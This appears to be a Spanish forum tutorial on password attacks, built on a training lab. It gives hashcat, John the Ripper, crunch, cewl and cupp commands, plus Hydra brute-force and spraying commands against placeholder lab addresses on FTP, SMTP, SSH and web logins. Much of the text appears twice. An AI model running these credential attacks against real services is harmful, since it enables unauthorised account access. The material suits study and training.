Muy buenas a todos Noders hoy hablaremos de Ataques de contraseñas, tipos de ataques, ejemplos, teoría, truquitos y consejos.
Para empezar ¿Qué es una contraseña?
Bueno la contraseñas se utilizan como método de autentificación individual ya sea para acceder al ordenador o a una aplicación.
Una colección de contraseñas se refiere a un diccionario o "wordlist" lista de palabras. Contraseñas con baja complejidad que son fáciles y comunes mayoritariamente recoletadas por "data breaches". Por ejemplo "password, 123456, 1111"
Contraseñas más usadas
Eso depende de varios factores. Las contraseñas usualmente se guardan en archivos de sistema o bases de datos, y que estén seguras es esencial. Anteriormente se guardaban en texto plano (Sony en 2014 por ejemplo)
Ahora las contraseñas se guardan usando sistemas y varias técnicas con funciones hasheadas o encriptación de algoritmos para hacerlas mas seguras. Si un atacante accede al sistema, es complicado crakearlas.
Esta sección discutiremos el crackeo de contraseñas la terminologia y la perspectiva en ciberseguridad. Primero herramientas como "hashcat" o "John the Rippet"
El crackeo de contraseñas son tecnicos usadas para descubrir contraseñas que estan encriptadas o haseadas para un texto plano. Los atacantes obtienen el encriptado del ordenador comprometido y una vez obtenido lo crackean.
Se considera una tecnica tradicional. Primeramente el atacante debe ganar acceso en el ordenador y escalar privilegios. Una vez hecho debera pasarselo a su ordenador local. A la diferencia que el metodo de adivinar se puede utilizan protocolos online y servicios basados en diccionarios.
Antes de hacer un ataque, es muy rentable probar contraseñas por defecho, buscar en google sobre el creador del servicio o del mismo servicio, o switches, firewalls, routers, siempre te los dan con un default y mucha gente no lo cambia, siendo un sistema vulnerable.
Es una buena práctica utilizar un "admin:admin" o "admin:123456" Por ejemplo nos encontramos un Tomcat pues buscariamos sus contraseñas por defecto "tomcat:admin"
Los profesionales recolectan y generan contraseñas débiles combinando wordlist muuuuy grandes. Estas listas se generan en base a otras experiencias de pentesters.
Imagina que queremos mas de una wordlist. Esto es muy simple: (ESTO ES LINUX )
cat fichero1.txt fichero2.txt fichero3.txt > listacombinada.txt
Y dirás pero entonces hay duplicados, tranquilo:
sort listacombinada.txt | uniq -u > listalimpia.txt
cewl -w list.txt -d 5 -m5 http://www.nodo313.net
Buscar información por ejemplo de empleados enumerando es algo mu bueno.
Asumiendo por ejemplo el apellido, nombre, segundo nombre etc.
Hay una herramienta muy buena para todo esto:
git clone https://github.com/therodri2/username_generator.git
cd username_generator
python3 username_generator.py -w user.lst
Otra forma de crear wordlist es usando este tipo de tecnicas y utilizando la herramienta "crunch"
crunch -h
crunch 2 2 01234abcd -o crunch.txt
Crea una wordlist conteniendo todas las posibles combinaciones con 2 letras, incluyendo 0-4 a-d usando el argumento -o
Esto es rentable para cuando generamos largos textos y queremos especificar combinaciones, por ejemplo si quisieramos crear caracteres minimos y maximos de 0-9 y a-f
crunch 8 8 01234589abcdefABCDEF -o crunch.txt
crunch 6 6 -t pass%%
Cupp es una herramienta interactiva de python para crear wordlists, con nombre etc.
git clone https://github.com/Mebus/cupp.git
python 3 cupp.py
python3 cupp.py -i
python3 cupp.py -l
python3 cupp.py -a
EN este caso usaremos hascat y para dar un ejemplo utilizaremos el hash "f806fc5a2a0d5ba2471600758452799c"
1- Que tipo de hash es 2- Que wordlist vamos a usar o que tipo de ataque debo usar.
Para identificar el hash utilizaremos "hashid o hash-identifier" En este caso es md5 (si no lo tenemos lo instalamos con apt install)
hashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt
f806fc5a2a0d5ba2471600758452799c:rockyou
hashcat --help
hascat -a 3 ?d?d?d?d --stdout
hashcat -a 3 -m 0 05A5CF06982BA7892ED2A6D38FE832D6 ?d?d?d?d
05a5cf06982ba7892ed2a6d38fe832d6:2021
Estos ataques se denominan hibridos. Se asume que el atacante tiene conocimiento de las politicas de contraseñas
Utilizaremos "haschat" o "John"
john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l
[List.Rules:THM-Password-Attacks]
Az"[0-9]" ^[!@#$]
[List.Rules:THM-Password-Attacks] - Especifica el nombre de la regla
Az - Representa una letra del diccionario que usara
0-9 . diginos del 0-9
caracteres especiales
hydra -l ftp -P pass.txt ftp:/10.10.x.x
hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v
hydra -L users.lst -P /path/to/wordlist.txt ssh://10.10.x.x -v
Son técnicas efectivas para identificar credenciales validas. Esta tecnica se utiliza para servicios y autentificacion de sistemas online como SSH,SMB,RDP,SMTP,Outlook etc.
Especificando usuario intentando contraseñas predecibles. Mientras que estos ataques prueban con muchos usuarios con contraseñas comunes.
Para empezar ¿Qué es una contraseña?
Bueno la contraseñas se utilizan como método de autentificación individual ya sea para acceder al ordenador o a una aplicación.
Una colección de contraseñas se refiere a un diccionario o "wordlist" lista de palabras. Contraseñas con baja complejidad que son fáciles y comunes mayoritariamente recoletadas por "data breaches". Por ejemplo "password, 123456, 1111"
Contraseñas más usadas
¿Como de segura son las contraseñas?
Eso depende de varios factores. Las contraseñas usualmente se guardan en archivos de sistema o bases de datos, y que estén seguras es esencial. Anteriormente se guardaban en texto plano (Sony en 2014 por ejemplo)
Ahora las contraseñas se guardan usando sistemas y varias técnicas con funciones hasheadas o encriptación de algoritmos para hacerlas mas seguras. Si un atacante accede al sistema, es complicado crakearlas.
TÉCNICAS
Esta sección discutiremos el crackeo de contraseñas la terminologia y la perspectiva en ciberseguridad. Primero herramientas como "hashcat" o "John the Rippet"
El crackeo de contraseñas son tecnicos usadas para descubrir contraseñas que estan encriptadas o haseadas para un texto plano. Los atacantes obtienen el encriptado del ordenador comprometido y una vez obtenido lo crackean.
Se considera una tecnica tradicional. Primeramente el atacante debe ganar acceso en el ordenador y escalar privilegios. Una vez hecho debera pasarselo a su ordenador local. A la diferencia que el metodo de adivinar se puede utilizan protocolos online y servicios basados en diccionarios.
CONTRASEÑAS POR DEFECTO
Antes de hacer un ataque, es muy rentable probar contraseñas por defecho, buscar en google sobre el creador del servicio o del mismo servicio, o switches, firewalls, routers, siempre te los dan con un default y mucha gente no lo cambia, siendo un sistema vulnerable.
Es una buena práctica utilizar un "admin:admin" o "admin:123456" Por ejemplo nos encontramos un Tomcat pues buscariamos sus contraseñas por defecto "tomcat:admin"
- https://cirt.net/passwords
- https://default-password.info/
- https://datarecovery.com/rd/default-passwords/
CONTRASEÑAS DÉBILES
Los profesionales recolectan y generan contraseñas débiles combinando wordlist muuuuy grandes. Estas listas se generan en base a otras experiencias de pentesters.
CONTRASEÑAS LIKEADAS
Datos sensibles como contraseñas o hashes se venden o se dan como resultado de una brecha de seguridad. Pueden ser publicas o privadas dependiendo de la disponibilidad del contenido, los atacantes normalmente extraen las contraseñas, y dumpean los hashes.WORDLIST COMBINADAS
Imagina que queremos mas de una wordlist. Esto es muy simple: (ESTO ES LINUX )
cat fichero1.txt fichero2.txt fichero3.txt > listacombinada.txt
Y dirás pero entonces hay duplicados, tranquilo:
sort listacombinada.txt | uniq -u > listalimpia.txt
WORDLISTS PERSONALIZADOS
Personalizar listas de contraseñas es la mejor forma para incrementar las posibilidades de encontrar credenciales validas. Podemos crear listar personalizadas para una web o compañía, incluyendo emails o nombres de empleados, con herramientas como "Cewl" que se utiliza para extraer palabras o cosas importantes de una web.cewl -w list.txt -d 5 -m5 http://www.nodo313.net
- -w escribe el contenido del fichero que le hemos puestro
- -m 5 busca palabras de no mas de 5 caracteres
- -d 5 el nivel que queremos de ataque el básico es el 2
- la url
WORDLIST POR USUARIOS
Buscar información por ejemplo de empleados enumerando es algo mu bueno.
Asumiendo por ejemplo el apellido, nombre, segundo nombre etc.
Hay una herramienta muy buena para todo esto:
git clone https://github.com/therodri2/username_generator.git
cd username_generator
python3 username_generator.py -w user.lst
Técnica de espacio de teclas
Otra forma de crear wordlist es usando este tipo de tecnicas y utilizando la herramienta "crunch"
crunch -h
crunch 2 2 01234abcd -o crunch.txt
Crea una wordlist conteniendo todas las posibles combinaciones con 2 letras, incluyendo 0-4 a-d usando el argumento -o
Esto es rentable para cuando generamos largos textos y queremos especificar combinaciones, por ejemplo si quisieramos crear caracteres minimos y maximos de 0-9 y a-f
crunch 8 8 01234589abcdefABCDEF -o crunch.txt
crunch 6 6 -t pass%%
CUPP
Cupp es una herramienta interactiva de python para crear wordlists, con nombre etc.
git clone https://github.com/Mebus/cupp.git
python 3 cupp.py
python3 cupp.py -i
python3 cupp.py -l
python3 cupp.py -a
ATAQUES OFFLINE
ATAQUES POR DICCIONARIO
EN este caso usaremos hascat y para dar un ejemplo utilizaremos el hash "f806fc5a2a0d5ba2471600758452799c"
1- Que tipo de hash es 2- Que wordlist vamos a usar o que tipo de ataque debo usar.
Para identificar el hash utilizaremos "hashid o hash-identifier" En este caso es md5 (si no lo tenemos lo instalamos con apt install)
hashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt
- -a 0: Pone en modo diccionario
- -m 0: Pone el modo hash crackeo md5 para mas info "hashcat -h"
f806fc5a2a0d5ba2471600758452799c:rockyou
ATAQUES DE FUERZA BRUTA
Este ataque es el mas usado para entrar en lugares o persnoal no autorizado.hashcat --help
hascat -a 3 ?d?d?d?d --stdout
- -a 3 : pone el modo de ataque a fuerza bruta
- ?d?d?d? : Pone un digito en cada caso empezando de 0000 a 9999
- --stdout: Nos printea el resultado en terminal
hashcat -a 3 -m 0 05A5CF06982BA7892ED2A6D38FE832D6 ?d?d?d?d
05a5cf06982ba7892ed2a6d38fe832d6:2021
ATAQUES BASADOS EN REGLAS (tengo que ser sincero este no lo llevo muy bien)
Estos ataques se denominan hibridos. Se asume que el atacante tiene conocimiento de las politicas de contraseñas
Utilizaremos "haschat" o "John"
john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l
- --wordlist= especificamos la wordlis
- --rules Especificamos las reglas a seguir
- --stdout printeamos el terminal
- | wc -l: cuenta cuantas lineas produce john
REGLAS PERSONALIZADAS
sudo vi /etc/john/john.conf[List.Rules:THM-Password-Attacks]
Az"[0-9]" ^[!@#$]
[List.Rules:THM-Password-Attacks] - Especifica el nombre de la regla
Az - Representa una letra del diccionario que usara
0-9 . diginos del 0-9
caracteres especiales
CONTRASEÑAS ONLINE
HYDRA
Hydra suportea un monton de servicios de red para atacar. Usando hydra, podemos hacer fuerza bruta en servicios en red como FTP, SMTP, SSH etc.FTP
Siguiendo con esto, un ataque de fuerza bruta a ftp sería:hydra -l ftp -P pass.txt ftp:/10.10.x.x
- l ftp usuario especificado, usamos -L para wordlist de usuarios
- -P ruta
- ftp://10.10 ip y protocolo
SMTP
Similar a los servidores FTp,hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v
SSH
Igual que los otroshydra -L users.lst -P /path/to/wordlist.txt ssh://10.10.x.x -v
HTTP PAGINAS DE LOGEO
hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f- -l usuario
- -p ruta
- 10.10 ip
- http-get-form tipo de consulta
- login-get/index.php ruta a lo que queremos
- user= pararmetros donde queremos que meta la fuerza bruta
- -f para parar cuando encuentre la valida.
- Medusa
- Ncrack
ATAQUE DE PULVERICACIÓN DE CONTRASEÑA
Son técnicas efectivas para identificar credenciales validas. Esta tecnica se utiliza para servicios y autentificacion de sistemas online como SSH,SMB,RDP,SMTP,Outlook etc.
Especificando usuario intentando contraseñas predecibles. Mientras que estos ataques prueban con muchos usuarios con contraseñas comunes.